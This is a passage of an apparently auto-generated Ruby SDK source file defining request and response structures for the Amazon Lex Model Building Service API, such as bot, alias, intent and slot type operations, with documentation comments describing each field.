# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/CreateSlotTypeVersionRequest AWS API Documentation
#
class CreateSlotTypeVersionRequest < Struct.new(
:name,
:checksum)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] name
# The name of the slot type.
# @return [String]
#
# @!attribute [rw] description
# A description of the slot type.
# @return [String]
#
# @!attribute [rw] enumeration_values
# A list of `EnumerationValue` objects that defines the values that
# the slot type can take.
# @return [Array<Types::EnumerationValue>]
#
# @!attribute [rw] last_updated_date
# The date that the slot type was updated. When you create a resource,
# the creation date and last update date are the same.
# @return [Time]
#
# @!attribute [rw] created_date
# The date that the slot type was created.
# @return [Time]
#
# @!attribute [rw] version
# The version assigned to the new slot type version.
# @return [String]
#
# @!attribute [rw] checksum
# Checksum of the `$LATEST` version of the slot type.
# @return [String]
#
# @!attribute [rw] value_selection_strategy
# The strategy that Amazon Lex uses to determine the value of the
# slot. For more information, see PutSlotType.
# @return [String]
#
# @!attribute [rw] parent_slot_type_signature
# The built-in slot type used a the parent of the slot type.
# @return [String]
#
# @!attribute [rw] slot_type_configurations
# Configuration information that extends the parent built-in slot
# type.
# @return [Array<Types::SlotTypeConfiguration>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/CreateSlotTypeVersionResponse AWS API Documentation
#
class CreateSlotTypeVersionResponse < Struct.new(
:name,
:description,
:enumeration_values,
:last_updated_date,
:created_date,
:version,
:checksum,
:value_selection_strategy,
:parent_slot_type_signature,
:slot_type_configurations)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass DeleteBotAliasRequest
# data as a hash:
#
# {
# name: "AliasName", # required
# bot_name: "BotName", # required
# }
#
# @!attribute [rw] name
# The name of the alias to delete. The name is case sensitive.
# @return [String]
#
# @!attribute [rw] bot_name
# The name of the bot that the alias points to.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/DeleteBotAliasRequest AWS API Documentation
#
class DeleteBotAliasRequest < Struct.new(
:name,
:bot_name)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass DeleteBotChannelAssociationRequest
# data as a hash:
#
# {
# name: "BotChannelName", # required
# bot_name: "BotName", # required
# bot_alias: "AliasName", # required
# }
#
# @!attribute [rw] name
# The name of the association. The name is case sensitive.
# @return [String]
#
# @!attribute [rw] bot_name
# The name of the Amazon Lex bot.
# @return [String]
#
# @!attribute [rw] bot_alias
# An alias that points to the specific version of the Amazon Lex bot
# to which this association is being made.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/DeleteBotChannelAssociationRequest AWS API Documentation
#
class DeleteBotChannelAssociationRequest < Struct.new(
:name,
:bot_name,
:bot_alias)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass DeleteBotRequest
# data as a hash:
#
# {
# name: "BotName", # required
# }
#
# @!attribute [rw] name
# The name of the bot. The name is case sensitive.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/DeleteBotRequest AWS API Documentation
#
class DeleteBotRequest < Struct.new(
:name)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass DeleteBotVersionRequest
# data as a hash:
#
# {
# name: "BotName", # required
# version: "NumericalVersion", # required
# }
#
# @!attribute [rw] name
# The name of the bot.
# @return [String]
#
# @!attribute [rw] version
# The version of the bot to delete. You cannot delete the `$LATEST`
# version of the bot. To delete the `$LATEST` version, use the
# DeleteBot operation.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/DeleteBotVersionRequest AWS API Documentation
#
class DeleteBotVersionRequest < Struct.new(
:name,
:version)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass DeleteIntentRequest
# data as a hash:
#
# {
# name: "IntentName", # required
# }
#
# @!attribute [rw] name
# The name of the intent. The name is case sensitive.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/DeleteIntentRequest AWS API Documentation
#
class DeleteIntentRequest < Struct.new(
:name)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass DeleteIntentVersionRequest
# data as a hash:
#
# {
# name: "IntentName", # required
# version: "NumericalVersion", # required
# }
#
# @!attribute [rw] name
# The name of the intent.
# @return [String]
#
# @!attribute [rw] version
# The version of the intent to delete. You cannot delete the `$LATEST`
# version of the intent. To delete the `$LATEST` version, use the
# DeleteIntent operation.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/DeleteIntentVersionRequest AWS API Documentation
#
class DeleteIntentVersionRequest < Struct.new(
:name,
:version)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass DeleteSlotTypeRequest
# data as a hash:
#
# {
# name: "SlotTypeName", # required
# }
#
# @!attribute [rw] name
# The name of the slot type. The name is case sensitive.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/DeleteSlotTypeRequest AWS API Documentation
#
class DeleteSlotTypeRequest < Struct.new(
:name)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass DeleteSlotTypeVersionRequest
# data as a hash:
#
# {
# name: "SlotTypeName", # required
# version: "NumericalVersion", # required
# }
#
# @!attribute [rw] name
# The name of the slot type.
# @return [String]
#
# @!attribute [rw] version
# The version of the slot type to delete. You cannot delete the
# `$LATEST` version of the slot type. To delete the `$LATEST` version,
# use the DeleteSlotType operation.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/DeleteSlotTypeVersionRequest AWS API Documentation
#
class DeleteSlotTypeVersionRequest < Struct.new(
:name,
:version)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass DeleteUtterancesRequest
# data as a hash:
#
# {
# bot_name: "BotName", # required
# user_id: "UserId", # required
# }
#
# @!attribute [rw] bot_name
# The name of the bot that stored the utterances.
# @return [String]
#
# @!attribute [rw] user_id
# The unique identifier for the user that made the utterances. This is
# the user ID that was sent in the [PostContent][1] or [PostText][2]
# operation request that contained the utterance.
#
#
#
# [1]: http://docs.aws.amazon.com/lex/latest/dg/API_runtime_PostContent.html
# [2]: http://docs.aws.amazon.com/lex/latest/dg/API_runtime_PostText.html
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/DeleteUtterancesRequest AWS API Documentation
#
class DeleteUtterancesRequest < Struct.new(
:bot_name,
:user_id)
SENSITIVE = []
include Aws::Structure
end
# Each slot type can have a set of values. Each enumeration value
# represents a value the slot type can take.
#
# For example, a pizza ordering bot could have a slot type that
# specifies the type of crust that the pizza should have. The slot type
# could include the values
#
# * thick
#
# * thin
#
# * stuffed
#
# @note When making an API call, you may pass EnumerationValue
# data as a hash:
#
# {
# value: "Value", # required
# synonyms: ["Value"],
# }
#
# @!attribute [rw] value
# The value of the slot type.
# @return [String]
#
# @!attribute [rw] synonyms
# Additional values related to the slot type value.
# @return [Array<String>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/EnumerationValue AWS API Documentation
#
class EnumerationValue < Struct.new(
:value,
:synonyms)
SENSITIVE = []
include Aws::Structure
end
# A prompt for additional activity after an intent is fulfilled. For
# example, after the `OrderPizza` intent is fulfilled, you might prompt
# the user to find out whether the user wants to order drinks.
#
# @note When making an API call, you may pass FollowUpPrompt
# data as a hash:
#
# {
# prompt: { # required
# messages: [ # required
# {
# content_type: "PlainText", # required, accepts PlainText, SSML, CustomPayload
# content: "ContentString", # required
# group_number: 1,
# },
# ],
# max_attempts: 1, # required
# response_card: "ResponseCard",
# },
# rejection_statement: { # required
# messages: [ # required
# {
# content_type: "PlainText", # required, accepts PlainText, SSML, CustomPayload
# content: "ContentString", # required
# group_number: 1,
# },
# ],
# response_card: "ResponseCard",
# },
# }
#
# @!attribute [rw] prompt
# Prompts for information from the user.
# @return [Types::Prompt]
#
# @!attribute [rw] rejection_statement
# If the user answers "no" to the question defined in the `prompt`
# field, Amazon Lex responds with this statement to acknowledge that
# the intent was canceled.
# @return [Types::Statement]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/FollowUpPrompt AWS API Documentation
#
class FollowUpPrompt < Struct.new(
:prompt,
:rejection_statement)
SENSITIVE = []
include Aws::Structure
end
# Describes how the intent is fulfilled after the user provides all of
# the information required for the intent. You can provide a Lambda
# function to process the intent, or you can return the intent
# information to the client application. We recommend that you use a
# Lambda function so that the relevant logic lives in the Cloud and
# limit the client-side code primarily to presentation. If you need to
# update the logic, you only update the Lambda function; you don't need
# to upgrade your client application.
#
# Consider the following examples:
#
# * In a pizza ordering application, after the user provides all of the
# information for placing an order, you use a Lambda function to place
# an order with a pizzeria.
#
# * In a gaming application, when a user says "pick up a rock," this
# information must go back to the client application so that it can
# perform the operation and update the graphics. In this case, you
# want Amazon Lex to return the intent data to the client.
#
# @note When making an API call, you may pass FulfillmentActivity
# data as a hash:
#
# {
# type: "ReturnIntent", # required, accepts ReturnIntent, CodeHook
# code_hook: {
# uri: "LambdaARN", # required
# message_version: "MessageVersion", # required
# },
# }
#
# @!attribute [rw] type
# How the intent should be fulfilled, either by running a Lambda
# function or by returning the slot data to the client application.
# @return [String]
#
# @!attribute [rw] code_hook
# A description of the Lambda function that is run to fulfill the
# intent.
# @return [Types::CodeHook]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/FulfillmentActivity AWS API Documentation
#
class FulfillmentActivity < Struct.new(
:type,
:code_hook)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass GetBotAliasRequest
# data as a hash:
#
# {
# name: "AliasName", # required
# bot_name: "BotName", # required
# }
#
# @!attribute [rw] name
# The name of the bot alias. The name is case sensitive.
# @return [String]
#
# @!attribute [rw] bot_name
# The name of the bot.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetBotAliasRequest AWS API Documentation
#
class GetBotAliasRequest < Struct.new(
:name,
:bot_name)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] name
# The name of the bot alias.
# @return [String]
#
# @!attribute [rw] description
# A description of the bot alias.
# @return [String]
#
# @!attribute [rw] bot_version
# The version of the bot that the alias points to.
# @return [String]
#
# @!attribute [rw] bot_name
# The name of the bot that the alias points to.
# @return [String]
#
# @!attribute [rw] last_updated_date
# The date that the bot alias was updated. When you create a resource,
# the creation date and the last updated date are the same.
# @return [Time]
#
# @!attribute [rw] created_date
# The date that the bot alias was created.
# @return [Time]
#
# @!attribute [rw] checksum
# Checksum of the bot alias.
# @return [String]
#
# @!attribute [rw] conversation_logs
# The settings that determine how Amazon Lex uses conversation logs
# for the alias.
# @return [Types::ConversationLogsResponse]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetBotAliasResponse AWS API Documentation
#
class GetBotAliasResponse < Struct.new(
:name,
:description,
:bot_version,
:bot_name,
:last_updated_date,
:created_date,
:checksum,
:conversation_logs)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass GetBotAliasesRequest
# data as a hash:
#
# {
# bot_name: "BotName", # required
# next_token: "NextToken",
# max_results: 1,
# name_contains: "AliasName",
# }
#
# @!attribute [rw] bot_name
# The name of the bot.
# @return [String]
#
# @!attribute [rw] next_token
# A pagination token for fetching the next page of aliases. If the
# response to this call is truncated, Amazon Lex returns a pagination
# token in the response. To fetch the next page of aliases, specify
# the pagination token in the next request.
# @return [String]
#
# @!attribute [rw] max_results
# The maximum number of aliases to return in the response. The default
# is 50. .
# @return [Integer]
#
# @!attribute [rw] name_contains
# Substring to match in bot alias names. An alias will be returned if
# any part of its name matches the substring. For example, "xyz"
# matches both "xyzabc" and "abcxyz."
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetBotAliasesRequest AWS API Documentation
#
class GetBotAliasesRequest < Struct.new(
:bot_name,
:next_token,
:max_results,
:name_contains)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] bot_aliases
# An array of `BotAliasMetadata` objects, each describing a bot alias.
# @return [Array<Types::BotAliasMetadata>]
#
# @!attribute [rw] next_token
# A pagination token for fetching next page of aliases. If the
# response to this call is truncated, Amazon Lex returns a pagination
# token in the response. To fetch the next page of aliases, specify
# the pagination token in the next request.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetBotAliasesResponse AWS API Documentation
#
class GetBotAliasesResponse < Struct.new(
:bot_aliases,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass GetBotChannelAssociationRequest
# data as a hash:
#
# {
# name: "BotChannelName", # required
# bot_name: "BotName", # required
# bot_alias: "AliasName", # required
# }
#
# @!attribute [rw] name
# The name of the association between the bot and the channel. The
# name is case sensitive.
# @return [String]
#
# @!attribute [rw] bot_name
# The name of the Amazon Lex bot.
# @return [String]
#
# @!attribute [rw] bot_alias
# An alias pointing to the specific version of the Amazon Lex bot to
# which this association is being made.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetBotChannelAssociationRequest AWS API Documentation
#
class GetBotChannelAssociationRequest < Struct.new(
:name,
:bot_name,
:bot_alias)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] name
# The name of the association between the bot and the channel.
# @return [String]
#
# @!attribute [rw] description
# A description of the association between the bot and the channel.
# @return [String]
#
# @!attribute [rw] bot_alias
# An alias pointing to the specific version of the Amazon Lex bot to
# which this association is being made.
# @return [String]
#
# @!attribute [rw] bot_name
# The name of the Amazon Lex bot.
# @return [String]
#
# @!attribute [rw] created_date
# The date that the association between the bot and the channel was
# created.
# @return [Time]
#
# @!attribute [rw] type
# The type of the messaging platform.
# @return [String]
#
# @!attribute [rw] bot_configuration
# Provides information that the messaging platform needs to
# communicate with the Amazon Lex bot.
# @return [Hash<String,String>]
#
# @!attribute [rw] status
# The status of the bot channel.
#
# * `CREATED` - The channel has been created and is ready for use.
#
# * `IN_PROGRESS` - Channel creation is in progress.
#
# * `FAILED` - There was an error creating the channel. For
# information about the reason for the failure, see the
# `failureReason` field.
# @return [String]
#
# @!attribute [rw] failure_reason
# If `status` is `FAILED`, Amazon Lex provides the reason that it
# failed to create the association.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetBotChannelAssociationResponse AWS API Documentation
#
class GetBotChannelAssociationResponse < Struct.new(
:name,
:description,
:bot_alias,
:bot_name,
:created_date,
:type,
:bot_configuration,
:status,
:failure_reason)
SENSITIVE = [:bot_configuration]
include Aws::Structure
end
# @note When making an API call, you may pass GetBotChannelAssociationsRequest
# data as a hash:
#
# {
# bot_name: "BotName", # required
# bot_alias: "AliasNameOrListAll", # required
# next_token: "NextToken",
# max_results: 1,
# name_contains: "BotChannelName",
# }
#
# @!attribute [rw] bot_name
# The name of the Amazon Lex bot in the association.
# @return [String]
#
# @!attribute [rw] bot_alias
# An alias pointing to the specific version of the Amazon Lex bot to
# which this association is being made.
# @return [String]
#
# @!attribute [rw] next_token
# A pagination token for fetching the next page of associations. If
# the response to this call is truncated, Amazon Lex returns a
# pagination token in the response. To fetch the next page of
# associations, specify the pagination token in the next request.
# @return [String]
#
# @!attribute [rw] max_results
# The maximum number of associations to return in the response. The
# default is 50.
# @return [Integer]
#
# @!attribute [rw] name_contains
# Substring to match in channel association names. An association will
# be returned if any part of its name matches the substring. For
# example, "xyz" matches both "xyzabc" and "abcxyz." To return
# all bot channel associations, use a hyphen ("-") as the
# `nameContains` parameter.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetBotChannelAssociationsRequest AWS API Documentation
#
class GetBotChannelAssociationsRequest < Struct.new(
:bot_name,
:bot_alias,
:next_token,
:max_results,
:name_contains)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] bot_channel_associations
# An array of objects, one for each association, that provides
# information about the Amazon Lex bot and its association with the
# channel.
# @return [Array<Types::BotChannelAssociation>]
#
# @!attribute [rw] next_token
# A pagination token that fetches the next page of associations. If
# the response to this call is truncated, Amazon Lex returns a
# pagination token in the response. To fetch the next page of
# associations, specify the pagination token in the next request.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetBotChannelAssociationsResponse AWS API Documentation
#
class GetBotChannelAssociationsResponse < Struct.new(
:bot_channel_associations,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass GetBotRequest
# data as a hash:
#
# {
# name: "BotName", # required
# version_or_alias: "String", # required
# }
#
# @!attribute [rw] name
# The name of the bot. The name is case sensitive.
# @return [String]
#
# @!attribute [rw] version_or_alias
# The version or alias of the bot.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetBotRequest AWS API Documentation
#
class GetBotRequest < Struct.new(
:name,
:version_or_alias)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] name
# The name of the bot.
# @return [String]
#
# @!attribute [rw] description
# A description of the bot.
# @return [String]
#
# @!attribute [rw] intents
# An array of `intent` objects. For more information, see PutBot.
# @return [Array<Types::Intent>]
#
# @!attribute [rw] enable_model_improvements
# Indicates whether the bot uses accuracy improvements. `true`
# indicates that the bot is using the improvements, otherwise,
# `false`.
# @return [Boolean]
#
# @!attribute [rw] nlu_intent_confidence_threshold
# The score that determines where Amazon Lex inserts the
# `AMAZON.FallbackIntent`, `AMAZON.KendraSearchIntent`, or both when
# returning alternative intents in a [PostContent][1] or [PostText][2]
# response. `AMAZON.FallbackIntent` is inserted if the confidence
# score for all intents is below this value.
# `AMAZON.KendraSearchIntent` is only inserted if it is configured for
# the bot.
#
#
#
# [1]: https://docs.aws.amazon.com/lex/latest/dg/API_runtime_PostContent.html
# [2]: https://docs.aws.amazon.com/lex/latest/dg/API_runtime_PostText.html
# @return [Float]
#
# @!attribute [rw] clarification_prompt
# The message Amazon Lex uses when it doesn't understand the user's
# request. For more information, see PutBot.
# @return [Types::Prompt]
#
# @!attribute [rw] abort_statement
# The message that Amazon Lex returns when the user elects to end the
# conversation without completing it. For more information, see
# PutBot.
# @return [Types::Statement]
#
# @!attribute [rw] status
# The status of the bot.
#
# When the status is `BUILDING` Amazon Lex is building the bot for
# testing and use.
#
# If the status of the bot is `READY_BASIC_TESTING`, you can test the
# bot using the exact utterances specified in the bot's intents. When
# the bot is ready for full testing or to run, the status is `READY`.
#
# If there was a problem with building the bot, the status is `FAILED`
# and the `failureReason` field explains why the bot did not build.
#
# If the bot was saved but not built, the status is `NOT_BUILT`.
# @return [String]
#
# @!attribute [rw] failure_reason
# If `status` is `FAILED`, Amazon Lex explains why it failed to build
# the bot.
# @return [String]
#
# @!attribute [rw] last_updated_date
# The date that the bot was updated. When you create a resource, the
# creation date and last updated date are the same.
# @return [Time]
#
# @!attribute [rw] created_date
# The date that the bot was created.
# @return [Time]
#
# @!attribute [rw] idle_session_ttl_in_seconds
# The maximum time in seconds that Amazon Lex retains the data
# gathered in a conversation. For more information, see PutBot.
# @return [Integer]
#
# @!attribute [rw] voice_id
# The Amazon Polly voice ID that Amazon Lex uses for voice interaction
# with the user. For more information, see PutBot.
# @return [String]
#
# @!attribute [rw] checksum
# Checksum of the bot used to identify a specific revision of the
# bot's `$LATEST` version.
# @return [String]
#
# @!attribute [rw] version
# The version of the bot. For a new bot, the version is always
# `$LATEST`.
# @return [String]
#
# @!attribute [rw] locale
# The target locale for the bot.
# @return [String]
#
# @!attribute [rw] child_directed
# For each Amazon Lex bot created with the Amazon Lex Model Building
# Service, you must specify whether your use of Amazon Lex is related
# to a website, program, or other application that is directed or
# targeted, in whole or in part, to children under age 13 and subject
# to the Children's Online Privacy Protection Act (COPPA) by
# specifying `true` or `false` in the `childDirected` field. By
# specifying `true` in the `childDirected` field, you confirm that
# your use of Amazon Lex **is** related to a website, program, or
# other application that is directed or targeted, in whole or in part,
# to children under age 13 and subject to COPPA. By specifying `false`
# in the `childDirected` field, you confirm that your use of Amazon
# Lex **is not** related to a website, program, or other application
# that is directed or targeted, in whole or in part, to children under
# age 13 and subject to COPPA. You may not specify a default value for
# the `childDirected` field that does not accurately reflect whether
# your use of Amazon Lex is related to a website, program, or other
# application that is directed or targeted, in whole or in part, to
# children under age 13 and subject to COPPA.
#
# If your use of Amazon Lex relates to a website, program, or other
# application that is directed in whole or in part, to children under
# age 13, you must obtain any required verifiable parental consent
# under COPPA. For information regarding the use of Amazon Lex in
# connection with websites, programs, or other applications that are
# directed or targeted, in whole or in part, to children under age 13,
# see the [Amazon Lex FAQ.][1]
#
#
#
# [1]: https://aws.amazon.com/lex/faqs#data-security
# @return [Boolean]
#
# @!attribute [rw] detect_sentiment
# Indicates whether user utterances should be sent to Amazon
# Comprehend for sentiment analysis.
# @return [Boolean]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetBotResponse AWS API Documentation
#
class GetBotResponse < Struct.new(
:name,
:description,
:intents,
:enable_model_improvements,
:nlu_intent_confidence_threshold,
:clarification_prompt,
:abort_statement,
:status,
:failure_reason,
:last_updated_date,
:created_date,
:idle_session_ttl_in_seconds,
:voice_id,
:checksum,
:version,
:locale,
:child_directed,
:detect_sentiment)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass GetBotVersionsRequest
# data as a hash:
#
# {
# name: "BotName", # required
# next_token: "NextToken",
# max_results: 1,
# }
#
# @!attribute [rw] name
# The name of the bot for which versions should be returned.
# @return [String]
#
# @!attribute [rw] next_token
# A pagination token for fetching the next page of bot versions. If
# the response to this call is truncated, Amazon Lex returns a
# pagination token in the response. To fetch the next page of
# versions, specify the pagination token in the next request.
# @return [String]
#
# @!attribute [rw] max_results
# The maximum number of bot versions to return in the response. The
# default is 10.
# @return [Integer]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetBotVersionsRequest AWS API Documentation
#
class GetBotVersionsRequest < Struct.new(
:name,
:next_token,
:max_results)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] bots
# An array of `BotMetadata` objects, one for each numbered version of
# the bot plus one for the `$LATEST` version.
# @return [Array<Types::BotMetadata>]
#
# @!attribute [rw] next_token
# A pagination token for fetching the next page of bot versions. If
# the response to this call is truncated, Amazon Lex returns a
# pagination token in the response. To fetch the next page of
# versions, specify the pagination token in the next request.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetBotVersionsResponse AWS API Documentation
#
class GetBotVersionsResponse < Struct.new(
:bots,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass GetBotsRequest
# data as a hash:
#
# {
# next_token: "NextToken",
# max_results: 1,
# name_contains: "BotName",
# }
#
# @!attribute [rw] next_token
# A pagination token that fetches the next page of bots. If the
# response to this call is truncated, Amazon Lex returns a pagination
# token in the response. To fetch the next page of bots, specify the
# pagination token in the next request.
# @return [String]
#
# @!attribute [rw] max_results
# The maximum number of bots to return in the response that the
# request will return. The default is 10.
# @return [Integer]
#
# @!attribute [rw] name_contains
# Substring to match in bot names. A bot will be returned if any part
# of its name matches the substring. For example, "xyz" matches both
# "xyzabc" and "abcxyz."
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetBotsRequest AWS API Documentation
#
class GetBotsRequest < Struct.new(
:next_token,
:max_results,
:name_contains)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] bots
# An array of `botMetadata` objects, with one entry for each bot.
# @return [Array<Types::BotMetadata>]
#
# @!attribute [rw] next_token
# If the response is truncated, it includes a pagination token that
# you can specify in your next request to fetch the next page of bots.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetBotsResponse AWS API Documentation
#
class GetBotsResponse < Struct.new(
:bots,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass GetBuiltinIntentRequest
# data as a hash:
#
# {
# signature: "BuiltinIntentSignature", # required
# }
#
# @!attribute [rw] signature
# The unique identifier for a built-in intent. To find the signature
# for an intent, see [Standard Built-in Intents][1] in the *Alexa
# Skills Kit*.
#
#
#
# [1]: https://developer.amazon.com/public/solutions/alexa/alexa-skills-kit/docs/built-in-intent-ref/standard-intents
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetBuiltinIntentRequest AWS API Documentation
#
class GetBuiltinIntentRequest < Struct.new(
:signature)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] signature
# The unique identifier for a built-in intent.
# @return [String]
#
# @!attribute [rw] supported_locales
# A list of locales that the intent supports.
# @return [Array<String>]
#
# @!attribute [rw] slots
# An array of `BuiltinIntentSlot` objects, one entry for each slot
# type in the intent.
# @return [Array<Types::BuiltinIntentSlot>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetBuiltinIntentResponse AWS API Documentation
#
class GetBuiltinIntentResponse < Struct.new(
:signature,
:supported_locales,
:slots)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass GetBuiltinIntentsRequest
# data as a hash:
#
# {
# locale: "de-DE", # accepts de-DE, en-AU, en-GB, en-US, es-US
# signature_contains: "String",
# next_token: "NextToken",
# max_results: 1,
# }
#
# @!attribute [rw] locale
# A list of locales that the intent supports.
# @return [String]
#
# @!attribute [rw] signature_contains
# Substring to match in built-in intent signatures. An intent will be
# returned if any part of its signature matches the substring. For
# example, "xyz" matches both "xyzabc" and "abcxyz." To find the
# signature for an intent, see [Standard Built-in Intents][1] in the
# *Alexa Skills Kit*.
#
#
#
# [1]: https://developer.amazon.com/public/solutions/alexa/alexa-skills-kit/docs/built-in-intent-ref/standard-intents
# @return [String]
#
# @!attribute [rw] next_token
# A pagination token that fetches the next page of intents. If this
# API call is truncated, Amazon Lex returns a pagination token in the
# response. To fetch the next page of intents, use the pagination
# token in the next request.
# @return [String]
#
# @!attribute [rw] max_results
# The maximum number of intents to return in the response. The default
# is 10.
# @return [Integer]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetBuiltinIntentsRequest AWS API Documentation
#
class GetBuiltinIntentsRequest < Struct.new(
:locale,
:signature_contains,
:next_token,
:max_results)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] intents
# An array of `builtinIntentMetadata` objects, one for each intent in
# the response.
# @return [Array<Types::BuiltinIntentMetadata>]
#
# @!attribute [rw] next_token
# A pagination token that fetches the next page of intents. If the
# response to this API call is truncated, Amazon Lex returns a
# pagination token in the response. To fetch the next page of intents,
# specify the pagination token in the next request.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetBuiltinIntentsResponse AWS API Documentation
#
class GetBuiltinIntentsResponse < Struct.new(
:intents,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass GetBuiltinSlotTypesRequest
# data as a hash:
#
# {
# locale: "de-DE", # accepts de-DE, en-AU, en-GB, en-US, es-US
# signature_contains: "String",
# next_token: "NextToken",
# max_results: 1,
# }
#
# @!attribute [rw] locale
# A list of locales that the slot type supports.
# @return [String]
#
# @!attribute [rw] signature_contains
# Substring to match in built-in slot type signatures. A slot type
# will be returned if any part of its signature matches the substring.
# For example, "xyz" matches both "xyzabc" and "abcxyz."
# @return [String]
#
# @!attribute [rw] next_token
# A pagination token that fetches the next page of slot types. If the
# response to this API call is truncated, Amazon Lex returns a
# pagination token in the response. To fetch the next page of slot
# types, specify the pagination token in the next request.
# @return [String]
#
# @!attribute [rw] max_results
# The maximum number of slot types to return in the response. The
# default is 10.
# @return [Integer]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetBuiltinSlotTypesRequest AWS API Documentation
#
class GetBuiltinSlotTypesRequest < Struct.new(
:locale,
:signature_contains,
:next_token,
:max_results)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] slot_types
# An array of `BuiltInSlotTypeMetadata` objects, one entry for each
# slot type returned.
# @return [Array<Types::BuiltinSlotTypeMetadata>]
#
# @!attribute [rw] next_token
# If the response is truncated, the response includes a pagination
# token that you can use in your next request to fetch the next page
# of slot types.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetBuiltinSlotTypesResponse AWS API Documentation
#
class GetBuiltinSlotTypesResponse < Struct.new(
:slot_types,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass GetExportRequest
# data as a hash:
#
# {
# name: "Name", # required
# version: "NumericalVersion", # required
# resource_type: "BOT", # required, accepts BOT, INTENT, SLOT_TYPE
# export_type: "ALEXA_SKILLS_KIT", # required, accepts ALEXA_SKILLS_KIT, LEX
# }
#
# @!attribute [rw] name
# The name of the bot to export.
# @return [String]
#
# @!attribute [rw] version
# The version of the bot to export.
# @return [String]
#
# @!attribute [rw] resource_type
# The type of resource to export.
# @return [String]
#
# @!attribute [rw] export_type
# The format of the exported data.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetExportRequest AWS API Documentation
#
class GetExportRequest < Struct.new(
:name,
:version,
:resource_type,
:export_type)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] name
# The name of the bot being exported.
# @return [String]
#
# @!attribute [rw] version
# The version of the bot being exported.
# @return [String]
#
# @!attribute [rw] resource_type
# The type of the exported resource.
# @return [String]
#
# @!attribute [rw] export_type
# The format of the exported data.
# @return [String]
#
